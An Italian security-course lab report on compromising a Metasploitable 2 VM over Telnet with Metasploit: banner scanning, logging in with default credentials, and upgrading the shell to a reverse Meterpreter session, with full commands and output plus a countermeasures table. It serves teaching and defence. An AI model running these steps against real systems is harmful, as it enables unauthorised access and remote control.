

Report Exploit Telnet con Metasploit

S7L2

Macchina	Ruolo	IP	Servizi
Kali Linux	Attaccante	192.168.5.19	Metasploit Framework
Metasploitable 2	Target	192.168.5.149	Telnet/23, FTP/21, SSH/22

1. Obiettivo

L'obiettivo dell'esercitazione è duplice: analizzare il servizio Telnet attivo sulla macchina Metasploitable tramite i moduli auxiliary di Metasploit, e successivamente ottenere accesso autenticato sfruttando le credenziali predefinite. Come fase avanzata, la sessione shell viene promossa a sessione **Meterpreter** per dimostrare tecniche di post-exploitation.

Nota: Tutte le tecniche sono state applicate esclusivamente in ambiente UTM locale controllato. Nessun sistema esterno è stato coinvolto. L'esercitazione è svolta a fini didattici nell'ambito del corso Epicode Cybersecurity Bootcamp.

2. Configurazione dell'Ambiente

Rete	192.168.5.0/24
Gateway	192.168.5.1
Attaccante	Kali Linux - 192.168.5.19
Target	Metasploitable 2 - 192.168.5.149
Hypervisor	UTM su macOS (Apple Silicon)
Tool principale	Metasploit Framework v6.4.116-dev
Credenziali	msfadmin / msfadmin (default Metasploitable 2)

3. Fase 1 Scansione del Servizio Telnet

Step 1 Rilevamento versione Telnet con telnet_version

Caricato il modulo auxiliary/scanner/telnet/telnet_version e impostato RHOSTS con l'IP del target. Il modulo si connette alla porta 23 e recupera il banner del servizio Telnet.

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.5.149
RHOSTS => 192.168.5.149
msf auxiliary(scanner/telnet/telnet_version) > exploit
```

Il modulo ha restituito il banner completo della macchina Metasploitable, rivelando informazioni critiche direttamente nel testo del banner:

```
[+] 192.168.5.149:23 - 192.168.5.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
metasploitable login:
[*] 192.168.5.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Telnet attivo sulla porta 23 - banner con credenziali default in chiaro

4. Fase 2 (Extra) - Autenticazione e Creazione Sessione

Step 2 Login con credenziali default via telnet_login

Caricato il modulo auxiliary/scanner/telnet/telnet_login e configurati i parametri: RHOSTS, USERNAME, PASSWORD e STOP_ON_SUCCESS. Quest'ultima opzione interrompe la scansione non appena viene trovata una credenziale valida.

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.5.149
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
msf auxiliary(scanner/telnet/telnet_login) > exploit
```

```
[!] 192.168.5.149:23 - No active DB -- Credential data will not be saved!
[+] 192.168.5.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.5.149:23 - Attempting to start session...
[*] Command shell session 1 opened
(192.168.5.19:38955 -> 192.168.5.149:23)
[*] Auxiliary module execution completed
```

Login riuscito con msfadmin:msfadmin - Command shell session 1 aperta.

5. Fase 3 Gestione delle Sessioni

Step 3 Verifica sessioni attive e interazione

Verificate le sessioni attive con sessions -l e interagite con la sessione shell tramite sessions -i 1. Il prompt è cambiato in msfadmin@metasploitable:~\$ confermando l'accesso alla macchina target.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====
Id Type Information Connection
-- --
1 shell TELNET msfadmin:msfadmin (192.168.5.149:23)
192.168.5.19:38955 -> 192.168.5.149:23

msf > sessions -i 1
[*] Starting interaction with 1...

Shell Banner:
msfadmin@metasploitable:~$
```

6. Fase 4 Upgrade della Sessione a Meterpreter

Step 4 Background della sessione shell

La sessione shell è stata messa in background con Ctrl+Z confermando con y. Successivamente caricato il modulo post/multi/manage/shell_to_meterpreter per eseguire l'upgrade della sessione

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y

msf > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.5.19
LHOST => 192.168.5.19
msf post(multi/manage/shell_to_meterpreter) > exploit
```

Step 5 Upgrade completato - Meterpreter session 2 aperta

```
[*] Started reverse TCP handler on 192.168.5.19:4433
[*] Sending stage (1062760 bytes) to 192.168.5.149
[*] Meterpreter session 2 opened
(192.168.5.19:4433 -> 192.168.5.149:59705)
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

Sessioni attive al termine dell'esercitazione:

ID	Tipo	Info	Connessione
1	shell (TELNET)	msfadmin:msfadmin (192.168.5.149:23)	192.168.5.19:38955→ 192.168.5.149:23
2	meterpreter x86/linux	msfadmin @ metasploitable.localdomain	192.168.5.19:4433 → 192.168.5.149:59705

7. Flusso Completo dell'Esercitazione

#	Fase	Modulo / Azione	Risultato
1	Scansione Telnet	auxiliary/scanner/telnet/telnet_version	Banner rilevato - credenziali default esposte
2	Login Telnet	auxiliary/scanner/telnet/telnet_login	Login OK - shell session 1 aperta
3	Gestione sessioni	sessions -l / sessions -i 1	Accesso interattivo msfadmin@metasploitable
4	Upgrade a Meterpreter	post/multi/manage/shell_to_meterpreter	Meterpreter session 2 aperta (x86/linux)

8. Conclusioni

L'esercitazione ha dimostrato come Telnet, un protocollo legacy che trasmette dati in chiaro senza cifratura, rappresenti un vettore di attacco critico. L'utilizzo di credenziali predefinite non modificate ha permesso l'accesso immediato alla macchina target. Il successivo upgrade a Meterpreter ha dimostrato come una semplice sessione shell possa essere trasformata in una piattaforma di post-exploitation avanzata.

Vulnerabilità	Gravità	Contromisura
Credenziali default non cambiate (msfadmin/msfadmin)	Critica	Cambiare tutte le password default al primo avvio
Telnet attivo - protocollo in chiaro	Critica	Disabilitare Telnet, sostituire con SSH
Banner con informazioni sensibili	Alta	Rimuovere o oscurare il banner di login
Nessun rate limiting sui tentativi di login	Media	Implementare fail2ban o meccanismi di logout
OS non aggiornato (Ubuntu 8.04 LTS)	Alta	Aggiornare il sistema operativo e i servizi

DISCLAIMER: Tutte le tecniche descritte sono state applicate esclusivamente in ambiente virtuale locale a fini didattici. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).